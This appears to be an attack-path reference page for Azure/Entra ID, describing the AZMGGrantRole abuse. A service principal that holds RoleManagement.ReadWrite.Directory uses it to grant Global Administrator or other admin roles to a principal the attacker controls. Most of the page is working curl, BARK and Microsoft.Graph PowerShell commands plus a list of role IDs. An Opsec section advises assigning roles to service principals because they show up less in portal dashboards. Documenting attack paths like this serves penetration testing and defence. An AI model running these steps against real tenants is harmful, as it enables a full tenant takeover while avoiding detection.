AZMGGrantRole

The source service principal holds the MS Graph app role RoleManagement.ReadWrite.Directory, enabling it to assign any Entra ID directory role (including Global Administrator) to any principal.

Applies to: AZServicePrincipal β†’ AZTenant (via MS Graph API)


Linux Abuse

Step 1 β€” Get client credentials token

TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
  | jq -r '.access_token')

Step 2 β€” Assign Global Administrator to controlled principal

curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "principalId": "<object-id>",
    "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
    "directoryScopeId": "/"
  }'

Assign any other admin role

# List available role definitions
curl -s "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" \
  -H "Authorization: Bearer $TOKEN" | jq '.value[] | {displayName, id}'

# Assign Privileged Role Administrator
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "principalId": "<object-id>",
    "roleDefinitionId": "e8611ab8-c189-46e8-94e1-60213ab1f814",
    "directoryScopeId": "/"
  }'

Windows Abuse

BARK β€” assign Global Admin

$MGToken = Get-MSGraphTokenWithClientCredentials `
  -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
  -ClientSecret "asdf..." `
  -TenantName "contoso.onmicrosoft.com"

New-EntraRoleAssignment `
  -PrincipalID "<object-id>" `
  -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `
  -Token $MGToken.access_token

Microsoft.Graph PowerShell

Connect-MgGraph -AccessToken <access-token>

$params = @{
  principalId      = "<object-id>"
  roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10"  # Global Administrator
  directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params

Assign via directoryRoles (legacy endpoint)

$role = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
New-MgDirectoryRoleMember -DirectoryRoleId $role.Id -DirectoryObjectId <object-id>

Common Role Definition IDs

Role ID
Global Administrator 62e90394-69f5-4237-9190-012177145e10
Privileged Role Administrator e8611ab8-c189-46e8-94e1-60213ab1f814
Application Administrator 9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3
Cloud Application Administrator 158c047a-c907-4556-b7ef-446551a6b5f7
User Administrator fe930be7-5e62-47db-91af-98c3a49a38b1

Opsec

  • Audit event: "Add member to role outside of PIM (permanent)" β€” includes actor, target principal, role name.
  • Assigning to a service principal (vs user) is less visible in portal dashboards.
  • After role assignment, re-authenticate with the target principal to inherit new permissions.
  • Required app role: RoleManagement.ReadWrite.Directory (9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8).